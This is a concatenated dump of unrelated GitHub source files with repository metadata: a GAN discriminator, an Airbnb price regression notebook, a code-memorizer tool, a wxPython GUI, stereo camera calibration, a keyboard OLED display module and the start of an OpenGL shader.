third_logit = SN(nn.Conv3d(base_channels * 8, 1, third_logit_kernel, \n third_logit_stride))\n layers.append(third_layers)\n logits.append(third_logit)\n\n self.conv3d_layers = nn.ModuleList(layers)\n self.conv3d_logits = nn.ModuleList(logits)\n\n def forward(self, bottom_fmaps, num_warmup_frames):\n \"\"\"nn.Conv3d\n input: (bs, c_in, d_in, h_in, w_in) output: (bs, c_out, d_out, h_out, w_out)\n \"\"\"\n if self.debug:\n bottom_fmaps = torch.randn(47, 256, 3, 5).cuda()\n num_warmup_frames = 16\n self.batch_size = 1\n\n # slice fmaps of warmup steps\n sliced_fmaps = []\n for fm in bottom_fmaps[:num_warmup_frames * self.batch_size].split(self.batch_size, dim=0):\n sliced_fmaps.append(fm)\n # slice fmaps of corresponding generated or real frames\n for fm in bottom_fmaps[(2 * num_warmup_frames - 1) * self.batch_size:].split(self.batch_size, dim=0):\n sliced_fmaps.append(fm)\n\n # create an input for conv3d. shape: (bs, c, d, h, w) (d is for temporal)\n inp = torch.stack(sliced_fmaps, dim=2)\n\n tempo_preds = []\n # use an input tensor shaped as [1, 256, 32, 3, 5] for debugging\n for layers, logit in zip(self.conv3d_layers, self.conv3d_logits):\n inp = layers(inp)\n pred = logit(inp)\n tempo_preds.append(pred.view(self.batch_size, -1))\n\n return tempo_preds ","repo_name":"Masao-Taketani/GameGAN","sub_path":"models/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":12245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"604635760","text":"\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport statsmodels\nimport sklearn\nfrom distutils.version import LooseVersion as Version\nfrom sklearn import __version__ as sklearn_version\nfrom IPython.display import Image\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n\n\nlistings = pd.read_csv('Dublin_Airbnb_listings.csv')\n\n\n\n\nlistings.columns\n\n\n\ndf = listings[[\"host_response_rate\", \"host_acceptance_rate\", \"host_is_superhost\",\n \"host_listings_count\", \"zipcode\", \"property_type\",\"room_type\", \"accommodates\", \"bathrooms\", \"bedrooms\", \n \"beds\", \"price\", \"number_of_reviews\", \"review_scores_rating\", \"cancellation_policy\", \n \"reviews_per_month\", \"neighbourhood_cleansed\"]]\n\ndf.head()\n\nprint(df[['bathrooms','bedrooms','beds']].describe())\n\n\n\nimport pandas as pd\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\nX = df[['bathrooms','bedrooms','beds']]\n\nfrom pandas.plotting import table\n\nfig, ax = plt.subplots(1, 1)\ntable(ax, np.round(X.describe(), 2), loc='upper right', colWidths=[0.2, 0.2, 0.2])\n\nX.plot.hist(ax=ax, stacked=True, bins=20, figsize = [8,8] )\nax.legend(loc='lower right', frameon=False)\nplt.show()\n\n\n\n\ndf_c = df[['bathrooms','bedrooms','beds']]\n \ncm = np.corrcoef(df_c.T)\nsns.heatmap(cm, annot=True, yticklabels=df_c.columns, xticklabels=df_c.columns)\n\n\n\n\nnp.round(X.describe(), 2)\n\n\n\n\ncolor = dict(boxes='DarkGreen', whiskers='DarkOrange', medians='DarkBlue', caps='Gray')\nX.plot.box(figsize = [8,8], color=color, sym='r+')\n\n\n\n# split into test and training data\nnp.random.seed(1)\nindices = np.random.permutation(len(df))\ntrain_size = int(round(0.8*len(df)))\ntest_size = len(df)-train_size\n\ny = df['price']\nx = df[[\"bathrooms\", \"bedrooms\",\"beds\"]]\n\nx.train = x.iloc[indices[0:train_size]]\ny.train = y.iloc[indices[0:train_size]]\nx.test = x.iloc[indices[train_size:]]\ny.test = y.iloc[indices[train_size:]]\n\nx2 = x.train.as_matrix()\ny2 = y.train.as_matrix()\n\n\n\n\nimport statsmodels.api as sm\nolsmod = sm.OLS(y2,x2)\nolsres = olsmod.fit()\nprint(olsres.summary())\n\n\n\n\nx0 = x.test.as_matrix()\ny0 = y.test.as_matrix()\n\n\n\n\nypred = olsres.predict(x0) # out of sample prediction\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\nrms_ols = sqrt(mean_squared_error(y0,ypred))\n\n\n\n\nrms_ols\n\n\n\n# plot predictions agains true values as function of bedrooms\nbeds = x.test['bedrooms'].as_matrix()\n\n\n\n\n# different method\nfrom sklearn import linear_model\n#from sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size = 0.3, random_state=1)\nslr = linear_model.LinearRegression()\n#slr = linear_model.LogisticRegression()\nslr.fit(X_train, y_train)\ny_train_pred = slr.predict(X_train)\ny_test_pred = slr.predict(X_test)\n\n\n\nplt.scatter(y_train_pred, y_train_pred - y_train,\n c='blue', marker='o', label='Training data')\nplt.scatter(y_test_pred, y_test_pred - y_test,\n c='lightgreen', marker='s', label='Test data')\nplt.xlabel('Predicted values')\nplt.ylabel('Residuals')\nplt.legend(loc='upper left')\nplt.show()\n\n\n\nplt.scatter(y_train_pred, y_train,\n c='blue', marker='o', label='Training data')\nplt.scatter(y_test_pred, y_test,\n c='lightgreen', marker='s', label='Test data')\nplt.xlabel('Predicted values')\nplt.ylabel('actual value')\nplt.legend(loc='upper left')\nplt.show()\n\nprint('Coefficients: \\n', slr.coef_)\n\n\n# In[52]:\n\n\nfrom sklearn.metrics import r2_score, f1_score, recall_score, accuracy_score\nfrom sklearn.metrics import mean_squared_error,mean_squared_log_error\nrms_ols2=sqrt(mean_squared_log_error(y_test,y_test_pred))\nprint('Mean Squared Log Error train: %.3f, test: %.3f' % (\n mean_squared_log_error(y_train, y_train_pred),\n mean_squared_log_error(y_test, y_test_pred)))\nprint('R^2 train: %.3f, test: %.3f' % (\n r2_score(y_train, y_train_pred),\n r2_score(y_test, y_test_pred)))\n\n\n# # random forest\n\n\nfrom sklearn.ensemble import RandomForestRegressor\nforest = RandomForestRegressor(n_estimators=500, \n criterion='mse', \n random_state=3, \n n_jobs=-1)\nforest.fit(X_train, y_train)\ny_train_pred = forest.predict(X_train)\ny_test_pred = forest.predict(X_test)\n\nprint('mean squared log error train: %.3f, test: %.3f' % (\n mean_squared_log_error(y_train, y_train_pred),\n mean_squared_log_error(y_test, y_test_pred)))\nprint('R^2 train: %.3f, test: %.3f' % (\n r2_score(y_train, y_train_pred),\n r2_score(y_test, y_test_pred)))\n\n\n\nplt.scatter(y_train_pred, y_train_pred - y_train,\n c='blue', marker='o', label='Training data')\nplt.scatter(y_test_pred, y_test_pred - y_test,\n c='orange', marker='s', label='Test data')\nplt.xlabel('Predicted values')\nplt.ylabel('Residuals')\nplt.legend(loc='upper left')\nplt.show()\n\n\n\n\nrmse_randfor=sqrt(mean_squared_log_error(y_test,y_test_pred))\nprint(rmse_randfor)\n\n\n# ### feature importance\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\n\n\nimportance = forest.feature_importances_\nimportance = pd.DataFrame(importance, index=x.columns, \n columns=[\"Importance\"])\n\nimportance[\"Std\"] = np.std([forest.feature_importances_\n for tree in forest.estimators_], axis=0)\n\nprint(importance)\n\n\n\n\n\n\n\n","repo_name":"jessicawang720/DATS_6501_Dublin_Airbnb_Capstone","sub_path":"Predicting Listing Prices By Room.py","file_name":"Predicting Listing Prices By Room.py","file_ext":"py","file_size_in_byte":5570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"30412813593","text":"import argparse\nimport random\nfrom shutil import copyfile\nimport sys\nimport logging\nimport os\n\nPROGRAM_INTRO='''\nCode Memorizer: help you to memorize code\n\nThis program replaces some code lines to the blank comment lines.\nIf you have such a good example source code that you really want to memorize it,\nyou can remove some lines of the example source with this program and fill out the blank lines.\nFirst try level 1 (replace only one line) and then try higher levels.\n(This program removes only real source code, not comment or too short line)\n'''\n\nCODELINE_MIN = 10\nBACKUP_POSTFIX = \".memory.bak\"\nSKIP_COMMENT = \"codememory:skip\"\n\ndef check_codeline(line, prefix):\n global CODELINE_MIN\n\n l = line.replace(\" \", \"\")\n if len(l) < CODELINE_MIN:\n return False\n if l.startswith(prefix):\n return False\n if SKIP_COMMENT in l:\n return False\n return True\n\ndef count_codelines(lines, prefix: str):\n count = 0\n\n for l in lines:\n if check_codeline(l, prefix):\n count += 1\n return count\n\nif __name__ == '__main__':\n logging.basicConfig(stream=sys.stdout, level=logging.INFO)\n parser = argparse.ArgumentParser(description=PROGRAM_INTRO,\n usage='python {} [OPTIONS]... SOURCE-FILE'.format(__file__),\n formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument('-l', '--level', help='how many lines to be commented', default=1)\n parser.add_argument('-p', '--prefix', help='string with which comment starts', default='//')\n parser.add_argument('-o', '--output', help='do not replace source file and write result to another file',\n default='')\n parser.add_argument('filename', help='file to memorize')\n\n args = parser.parse_args()\n logging.debug(\"level=%s\", args.level)\n logging.debug(\"prefix=%s\", args.prefix)\n logging.debug(\"output=%s\", args.output)\n logging.debug(\"sourcefile=%s\", args.filename)\n\n source_file = args.filename.strip()\n level = int(args.level)\n prefix = args.prefix\n\n if len(args.output) == 0:\n backup_file = source_file + BACKUP_POSTFIX\n logging.info(\"output file is not specified, then replace the source file\")\n # If a backup file exist, the source file is already modified.\n # So it has to revert the source file, and then do replacing.\n if os.path.isfile(backup_file):\n logging.debug(\"revert source file to a backup file:%s\", backup_file)\n copyfile(backup_file, source_file)\n else:\n logging.debug(\"make a backup file:%s\", backup_file)\n copyfile(source_file, backup_file)\n output = source_file\n else:\n logging.info(\"write output file=%s\", args.output)\n output = args.output\n\n f = open(source_file)\n lines = f.readlines()\n f.close()\n\n num_codelines = count_codelines(lines, prefix)\n if level >= int(num_codelines / 2):\n logging.error('You tried too high level, please try again with lower level')\n sys.exit(1)\n\n logging.debug(\"extract only codeline=%d/%d\",num_codelines, len(lines))\n\n num_removelines = random.sample(range(1, num_codelines), level)\n logging.debug(\"remove line-numbers:{}\".format(' '.join(map(str, num_removelines))))\n\n f = open(output, \"w\")\n lcount = 0\n for l in lines:\n if check_codeline(l, prefix):\n lcount += 1\n if lcount in num_removelines:\n f.write(prefix + \" ADD CODE HERE!!!!!!!!!!!!!!!!!\\n\")\n continue\n f.write(l)\n\n","repo_name":"gurugio/code-memorizer","sub_path":"codememory.py","file_name":"codememory.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"4351587865","text":"class TemperatureConverter:\n @staticmethod \n def c2f(t_c): #摄氏温度到华氏温度的转换\n t_c = float(t_c)\n t_f = (t_c * 9/5) + 32\n return t_f\n @staticmethod \n def f2c(t_f): #华氏温度到摄氏温度的转换\n t_f = float(t_f)\n t_c = (t_f - 32) * 5 /9\n return t_c\n#测试代码\nprint(\"1. 从摄氏温度到华氏温度.\")\nprint(\"2. 从华氏温度到摄氏温度.\")\nchoice = int(input(\"请选择转换方向:\"))\nif choice == 1:\n t_c = float(input(\"请输入摄氏温度: \"))\n t_f = TemperatureConverter.c2f(t_c)\n print(\"华氏温度为: {0:.2f}\".format(t_f))\nelif choice == 2:\n t_f = float(input(\"请输入华氏温度: \"))\n t_c = TemperatureConverter.f2c(t_f)\n print(\"摄氏温度为: {0:.2f}\".format(t_c))\nelse:\n print(\"无此选项,只能选择1或2!\")\n","repo_name":"TingliangZhang/VR_Robot","sub_path":"Python/Pythonpa/ch09/TemperatureConverter.py","file_name":"TemperatureConverter.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"ja","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"32119707411","text":"def maxLen(arr):\n hashTable = {}\n s = 0\n ans = 0\n for i, val in enumerate(arr):\n s += val\n if(s == 0):\n ans = i + 1\n continue\n if(s in hashTable):\n ans = max(ans, i - hashTable[s])\n else:\n hashTable[s] = i\n return ans\n\narr = list(map(int, input('Enter values :').split()))\nprint('Length of the largest sub array : ', maxLen(arr))","repo_name":"veerendra363/DSA","sub_path":"Hashing/problems/02_Largest_subarray_with_0_sum/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4192751440","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n Copyright 2020 DR ROBIN RAFFE PRYCE JONES\r\n Licensed under the Apache License, Version 2.0 (the \"License\");\r\n you may not use this file except in compliance with the License.\r\n You may obtain a copy of the License at\r\n http://www.apache.org/licenses/LICENSE-2.0\r\n Unless required by applicable law or agreed to in writing, software\r\n distributed under the License is distributed on an \"AS IS\" BASIS,\r\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n See the License for the specific language governing permissions and\r\n limitations under the License.\r\n\"\"\"\r\n\r\nimport wx\r\n# Import wx for the gui control\r\n\r\nclass PositionControl ( wx.Frame ):\r\n \"\"\"wx frame of position control gui design\"\"\"\r\n \r\n def __init__(self, parent=None):\r\n \"\"\"initialise wx frame\"\"\"\r\n wx.Frame.__init__(self, parent=parent, \r\n title= u\"Move Plot Labels\",\r\n pos = wx.DefaultPosition, \r\n size = wx.Size( 300,300 ), \r\n style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE|wx.MINIMIZE_BOX|wx.TAB_TRAVERSAL| wx.STAY_ON_TOP )\r\n \r\n self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\r\n\r\n################################################################ \r\n \"\"\"box and grid definitions\"\"\"\r\n bSizer1 = wx.BoxSizer( wx.VERTICAL )\r\n \r\n bSizer10 = wx.BoxSizer( wx.VERTICAL )\r\n gSizer10 = wx.GridSizer( 0, 4, 0, 0 )\r\n bSizer11 = wx.BoxSizer( wx.VERTICAL )\r\n bSizer12 = wx.BoxSizer( wx.VERTICAL )\r\n \r\n gSizer20 = wx.GridSizer( 0, 4, 0, 0 )\r\n bSizer21 = wx.BoxSizer( wx.VERTICAL )\r\n bSizer22 = wx.BoxSizer( wx.VERTICAL )\r\n\r\n################################################################ \r\n \"\"\"wx widget definitions\"\"\"\r\n self.m_staticText_MoveY = wx.StaticText( self, wx.ID_ANY, u\"Move Label in y\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\n self.m_staticText_MoveY.Wrap( -1 )\r\n \r\n self.m_SpinCtrl_Y = wx.SpinCtrl(self, wx.ID_ANY, \"\", wx.DefaultPosition,\r\n (100,-1), wx.SP_ARROW_KEYS | wx.ALIGN_LEFT | wx.TE_PROCESS_ENTER, \r\n min=-10000, max=10000, initial=0, name=\"Move Label in y\")\r\n\r\n self.m_staticText_MoveAllY = wx.StaticText( self, wx.ID_ANY, u\"Move All Labels in y\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\n self.m_staticText_MoveAllY.Wrap( -1 )\r\n \r\n self.m_SpinButton_MoveAllLabelsY = wx.SpinButton(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, style= wx.SP_VERTICAL, name=\"All Labels\")\r\n self.m_SpinButton_MoveAllLabelsY.SetRange(-1000, 1000)\r\n \r\n self.m_staticline1 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL )\r\n \r\n self.m_staticText_MoveX = wx.StaticText( self, wx.ID_ANY, u\"Move Label in x\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\n self.m_staticText_MoveX.Wrap( -1 ) \r\n\r\n self.m_SpinCtrl_X = wx.SpinCtrl(self, wx.ID_ANY, \"\", wx.DefaultPosition,\r\n (100,-1), wx.SP_ARROW_KEYS | wx.ALIGN_LEFT | wx.TE_PROCESS_ENTER, \r\n min=-10000, max=10000, initial=0, name=\"Move Label in x\")\r\n \r\n self.m_staticText_MoveAllX = wx.StaticText( self, wx.ID_ANY, u\"Move All Labels in x\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\n self.m_staticText_MoveAllX.Wrap( -1 )\r\n \r\n self.m_SpinButton_MoveAllLabelsX = wx.SpinButton(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, style= wx.SP_HORIZONTAL, name=\"All Labels\")\r\n self.m_SpinButton_MoveAllLabelsX.SetRange(-1000, 1000)\r\n\r\n \"\"\"Add widgets to the box and grid definitions\"\"\"\r\n bSizer11.Add( self.m_staticText_MoveX, 1, wx.EXPAND,5 )\r\n bSizer11.Add( self.m_SpinCtrl_X, 1, wx.ALL,5 )\r\n gSizer10.Add( bSizer11, 1, wx.ALL,5 )\r\n gSizer10.AddSpacer( 30 )\r\n bSizer12.Add(self.m_staticText_MoveAllX, 1, wx.ALL,5 )\r\n bSizer12.Add(self.m_SpinButton_MoveAllLabelsX, 1, wx.EXPAND,5 )\r\n gSizer10.Add( bSizer12, 1, wx.ALL,5 )\r\n bSizer10.Add( gSizer10, 1, wx.EXPAND,5 ) \r\n bSizer10.Add( self.m_staticline1, 0, wx.EXPAND , 5 )\r\n bSizer21.Add( self.m_staticText_MoveY, 1, wx.EXPAND,5 )\r\n bSizer21.Add( self.m_SpinCtrl_Y, 1, wx.ALL,5 )\r\n gSizer20.Add( bSizer21, 1, wx.ALL,5 )\r\n gSizer20.AddSpacer( 30 )\r\n bSizer22.Add(self.m_staticText_MoveAllY, 1, wx.ALL,5 )\r\n bSizer22.Add(self.m_SpinButton_MoveAllLabelsY, 1, wx.EXPAND,5 )\r\n gSizer20.Add( bSizer22, 1, wx.ALL,5 ) \r\n bSizer10.Add( gSizer20, 1, wx.EXPAND,5 ) \r\n \r\n bSizer1.Add(bSizer10, 1, wx.ALL, 5 )\r\n\r\n self.SetSizer( bSizer1 )\r\n self.Layout()\r\n self.Centre( wx.BOTH )\r\n \r\n \"\"\"Bind widgets and event handlers to virtual functions\"\"\"\r\n self.Bind( wx.EVT_CLOSE, self.PosConQuit)\r\n self.m_SpinCtrl_Y.Bind( wx.EVT_SPINCTRL, self.OnSpinCtrl_Y )\r\n self.m_SpinCtrl_Y.Bind(wx.EVT_TEXT_ENTER, self.OnSpinCtrl_Y )\r\n self.m_SpinCtrl_X.Bind( wx.EVT_SPINCTRL, self.OnSpinCtrl_X )\r\n self.m_SpinCtrl_X.Bind(wx.EVT_TEXT_ENTER, self.OnSpinCtrl_X )\r\n self.m_SpinButton_MoveAllLabelsY.Bind(wx.EVT_SPIN_UP, self.OnSpin_MoveAllLabelsUp)\r\n self.m_SpinButton_MoveAllLabelsY.Bind(wx.EVT_SPIN_DOWN, self.OnSpin_MoveAllLabelsDown)\r\n self.m_SpinButton_MoveAllLabelsX.Bind(wx.EVT_SPIN_UP, self.OnSpin_MoveAllLabelsLeft)\r\n self.m_SpinButton_MoveAllLabelsX.Bind(wx.EVT_SPIN_DOWN, self.OnSpin_MoveAllLabelsRight) \r\n \r\n self.Show()\r\n\r\n###############################################################################\r\n \"\"\"Virutal event handler functions - overridden in child classes\"\"\"\r\n def PosConQuit( self, event ):\r\n event.Skip() \r\n\r\n def OnSpinCtrl_X( self, event ):\r\n event.Skip()\r\n \r\n def OnSpinCtrl_Y( self, event ):\r\n event.Skip()\r\n \r\n def OnSpin_MoveAllLabelsUp( self, event ):\r\n event.Skip()\r\n \r\n def OnSpin_MoveAllLabelsDown( self, event ):\r\n event.Skip()\r\n \r\n def OnSpin_MoveAllLabelsLeft( self, event ):\r\n event.Skip()\r\n \r\n def OnSpin_MoveAllLabelsRight( self, event ):\r\n event.Skip()","repo_name":"rxj879/Spectra-Plot","sub_path":"MyCustomLibraries/PositionControl_GUI.py","file_name":"PositionControl_GUI.py","file_ext":"py","file_size_in_byte":6470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71945536862","text":"import numpy as np\nimport cv2\nfrom Camera_Calibration import *\nfrom Stereo_Calibration import *\nfrom Undistortion import *\nfrom Stereo_Rectify import *\nfrom Stereo_Match import *\nfrom Is_Horizontal import *\n# ===================Part 1: Binocular Camera Calibration==================\nobjp=np.zeros((6*9,3),np.float32)\nobjp[:,:2]=np.mgrid[0:9,0:6].T.reshape(-1,2) #get chess's world coordinate\nimage_size=(640,480) # pictures' resolution\n\nprint('calibrate left_camera')\nleft_path='Input/left/*.jpg'\n\nmtx_l,dist_l,rvecs_l,tvecs_l,objpoints,imgpoints_l=monocularCameraCalibration(left_path,objp,image_size)\n#_,rvecs_test,tvecs_test=cv2.solvePnP(objpoints,imgpoints_l,mtx_l,dist_l)\nprint('rotation vector for each image=', *rvecs_l, sep = \"\\n\")\n#print('rotation vector for each image test',*rvecs_test,sep=\"\\n\")\nprint('translation vector for each image=', *tvecs_l, sep= \"\\n\")\n#print('transition vector for each image test',*tvecs_test,sep=\"\\n\")\n\ninput('Program paused. Press ENTER to continue')\n\nprint('calibrate right_camera')\n\nright_path='Input/right/*.jpg'\n\nmtx_r,dist_r,rvecs_r,tvecs_r,_ , imgpoints_r=monocularCameraCalibration(right_path,objp,image_size)\n\ninput('Program paused. Press ENTER to continue')\n\n# ===================Part 2: Stereo Calibration==================\nR,T,E,F=stereo_calibration_opencv(objpoints,imgpoints_l,imgpoints_r,mtx_l,dist_l,mtx_r,dist_r,image_size)\n\nnp.savez(\"parameters_stereo for calibration.npz\",mtx_l=mtx_l,mtx_r=mtx_r,dist_l=dist_l,dist_r=dist_r,R=R,T=T)\nnp.savez(\"points.npz\",objpoints=objpoints,imgpoints1=imgpoints_l,imgpoints2=imgpoints_r)\n\nprint('intrinsic matrix of left camera=\\n', mtx_l)\nprint('intrinsic matrix of right camera=\\n', mtx_r)\nprint('distortion coefficients of left camera=\\n', dist_l)\nprint('distortion coefficients of right camera=\\n', dist_r)\nprint('Transformation from left camera to right:\\n')\nprint('R=\\n', R)\nprint('\\n')\nprint('T=\\n', T)\nprint('\\n')\ninput('Program paused. Press ENTER to continue')\n# ===================Part 3: Stereo Rectification==================\nR1,R2,P1,P2,Q,ROI1,ROI2=stereo_rectify_calibrate(mtx_l,dist_l,mtx_r,dist_r,image_size,R,T)\n\nnp.savez('parameters_stereo_rectify',R1=R1,R2=R2,P1=P1,P2=P2)\n\n\nprint('rectify left image')\nimage_l_path = [] # store images_l' path\nimage_l = [] # store images_l\nleft_path='Input/left'\nlistdir(left_path, image_l_path)\nload_img(image_l_path, image_l)\n# for k in range(len(image_l)): # only undistort left pictures\n # image_l[k]=undistort1(image_l[k],mtx_l,dist_l,image_size)\n# save_img('left','new_',image_l_path,image_l)\nfor k in range(len(image_l)):\n image_l[k]=undistort2(image_l[k],mtx_l,dist_l,R1,P1,image_size)\nsave_img('left','rectified_',image_l_path,image_l)\ninput('Program paused. Press ENTER to continue')\nprint('rectify right image')\n\nimage_r_path = [] # store images_r' path\nimage_r = [] # store images_r\nright_path='Input/right'\nlistdir(right_path, image_r_path)\nload_img(image_r_path, image_r)\n# for k in range(len(image_r)): # only undistort right pictures\n # image_r[k]=undistort1(image_r[k],mtx_r,dist_r,image_size)\n# save_img('right','new_',image_r_path,image_r)\n\nfor k in range(len(image_r)):\n image_r[k]=undistort2(image_r[k],mtx_r,dist_r,R2,P2,image_size)\nsave_img('right','rectified_',image_r_path,image_r)\n\nprint('Whether epipolar line is horizontal')\n\nfor i in range(1,15):\n if i==10: continue\n order_number='{0:0=2d}'.format(i)\n pathL='Output/left/rectified_left'+order_number+'.jpg'\n pathR='Output/right/rectified_right'+order_number+'.jpg'\n pic1=cv2.imread(pathL)\n pic2=cv2.imread(pathR)\n show_line(pic1,pic2,image_size)\n\ninput('Program paused. Press ENTER to continue')\nprint('Calculate re-projection error')\nmean_error_left=0\n\nfor i in range(len(objpoints)):\n imgpoints_c,_=cv2.projectPoints(objpoints[i],rvecs_l[i],tvecs_l[i],mtx_l,dist_l)\n error=cv2.norm(imgpoints_l[i],imgpoints_c,cv2.NORM_L2)/len(imgpoints_c)\n mean_error_left+=error\nprint('total error of left_pictures: ',mean_error_left/len(objpoints))\n\nmean_error_right=0\n\nfor i in range(len(objpoints)):\n imgpoints_c,_=cv2.projectPoints(objpoints[i],rvecs_r[i],tvecs_r[i],mtx_r,dist_r)\n error=cv2.norm(imgpoints_r[i],imgpoints_c,cv2.NORM_L2)/len(imgpoints_c)\n mean_error_right+=error\nprint('total error of right_pictures: ',mean_error_right/len(objpoints))\n\n\n\n\n\n\n\n\n# ===================Part 4: Stereo Match==================\nprint('loading images...')\n'''\n# stereo match with chessBoard pictures\nfor i in range(1,15):\n if i==10: continue\n order_number='{0:0=2d}'.format(i)\n # pathL='Output/left/new_left'+order_number+'.jpg' # stereo Match with only undistorted pictures\n # pathR='Output/right/new_right'+order_number+'.jpg'\n\n pathL='Output/left/rectified_left'+order_number+'.jpg'\n pathR='Output/right/rectified_right'+order_number+'.jpg'\n imgL=cv2.imread(pathL)\n imgR=cv2.imread(pathR)\n SGBM(imgL,imgR)\n\n'''\nimgl=cv2.imread('Input/000000_10L.png')\n\nimgr=cv2.imread('Input/000000_10R.png')\n\nSGM(imgl,imgr)\n\n\n","repo_name":"Camp1on/Stereo","sub_path":"Stereo_Project.py","file_name":"Stereo_Project.py","file_ext":"py","file_size_in_byte":5011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38265754803","text":"import board\nimport displayio\nimport adafruit_displayio_ssd1306\nimport busio\nfrom adafruit_display_text import label\nfrom adafruit_display_shapes.circle import Circle\nfrom adafruit_bitmap_font import bitmap_font\nfrom displayio import Bitmap\nimport keyMaps\n\n\n# TODO: Find space on oled thing to display win/mac toggle and qwerty/colemak toggle\nclass OLEDContext:\n def __init__(self, keyboard, width=128, height=64):\n self.width = width\n self.height = height\n\n # Clear OLED and prep a group to add to\n displayio.release_displays()\n i2c = busio.I2C(scl=board.GP27, sda=board.GP26, frequency=1000000)\n display_bus = displayio.I2CDisplay(i2c, device_address=0x3C)\n display = adafruit_displayio_ssd1306.SSD1306(display_bus, width=128, height=64)\n self.splash = displayio.Group()\n display.show(self.splash)\n self.active_layers = []\n self.font = bitmap_font.load_font(\"fonts/ib8x8u.bdf\", Bitmap)\n glyphs_string = \"\".join(set(keyMaps.kcToCharDict.values()))\n self.font.load_glyphs(glyphs_string)\n self.updateState(keyboard)\n\n self.layer_circles = self.createLayerCirclesList()\n layer_circle_group = displayio.Group()\n for c in self.layer_circles:\n layer_circle_group.append(c)\n self.layerTextTitle, self.layerTextBody = self.createLayerTextView()\n self.splash.append(layer_circle_group)\n self.splash.append(self.layerTextTitle)\n self.splash.append(self.layerTextBody)\n\n def isUpdateAvailable(self, keyboard):\n return keyboard.active_layers != self.active_layers\n\n def onUpdate(self, keyboard):\n if not self.isUpdateAvailable(keyboard):\n return\n self.updateState(keyboard)\n self.updateDisplay()\n\n def updateDisplay(self):\n self.layerTextTitle.text = self.createTitleString()\n self.layerTextBody.text = self.createBodyString()\n for c in self.layer_circles:\n c.fill = 0x000000\n self.layer_circles[self.current_active_layer_idx].fill = 0xFFFFFF\n\n def updateState(self, keyboard):\n self.active_layers = keyboard.active_layers.copy()\n self.total_layers_count = len(keyboard.keymap)\n self.current_active_layer_idx = max(self.active_layers)\n self.current_active_layer = keyboard.keymap[self.current_active_layer_idx]\n\n # TODO: Only show circles for non-toggle layers (exclude colemak/querty/windows/mac from list)\n def createLayerCirclesList(self):\n layer_circles = []\n circle_count = self.total_layers_count\n padding = 2\n spacing = 2\n diameter = int(self.height / circle_count) - spacing\n radius = int(diameter / 2)\n for i in range(circle_count):\n fill = 0xFFFFFF if i is self.current_active_layer_idx else 0x000000\n yPos = int(i * self.height / circle_count) + radius\n xPos = 128 - radius - padding\n circle = Circle(xPos, yPos, radius, fill=fill, outline=0xFFFFFF, stroke=2)\n layer_circles.append(circle)\n return layer_circles\n\n def createLayerTextView(self):\n xOffset = -5\n titleLabel = label.Label(\n self.font,\n text=self.createTitleString(),\n color=0xFFFFFF,\n anchored_position=(self.width / 2 + xOffset, 0),\n scale=2,\n anchor_point=(0.5, 0),\n )\n bodyLabel = label.Label(\n self.font,\n text=self.createBodyString(),\n color=0xFFFFFF,\n anchored_position=(self.width / 2 + xOffset, self.height / 2 - 10),\n scale=1,\n anchor_point=(0.5, 0),\n )\n\n return titleLabel, bodyLabel\n\n def createBodyString(self):\n helpTextString = \"\"\n keyCount = 0\n for keyCode in self.current_active_layer:\n if keyCount is 5:\n helpTextString += \" \" # Add gap between hands\n elif keyCount >= 10:\n keyCount = 0\n helpTextString += \"\\n\"\n helpTextString += keyMaps.convertKCtoChar(keyCode)\n keyCount += 1\n\n return helpTextString\n\n def createTitleString(self):\n currentLayer = max(self.active_layers)\n\n layerTextDict = {\n 0: \"QWERTY\",\n 1: \"COLEMAK\",\n 2: \"SYMBOL\",\n 3: \"→←↓↑ #\",\n 4: \"SYS/FUN\",\n }\n return layerTextDict[currentLayer]\n","repo_name":"macdude95/keyboards","sub_path":"Julep/KMK/oled.py","file_name":"oled.py","file_ext":"py","file_size_in_byte":4474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70001093664","text":"from editor.render import gloo\nfrom editor.utils import profile\nfrom editor.render.gloo.helpers import box, plane, buffer_offset\nfrom editor.render.window import GLFWViewer\nfrom OpenGL.GL import *\n\nimport numpy as np\nfrom pathlib import Path\nimport glm\nimport math\n\nvertexShader = \"\"\"\n#version 330 core\nin vec3 position;\nin vec2 uv;\n\nuniform mat4 modelMatrix;\nuniform mat4 viewMatrix;\nuniform mat4 projectionMatrix;\n\n\n\nout vec2 vUv;\n\nvoid main(){\n\tgl_PointSize = 5.0;\n\tvUv = 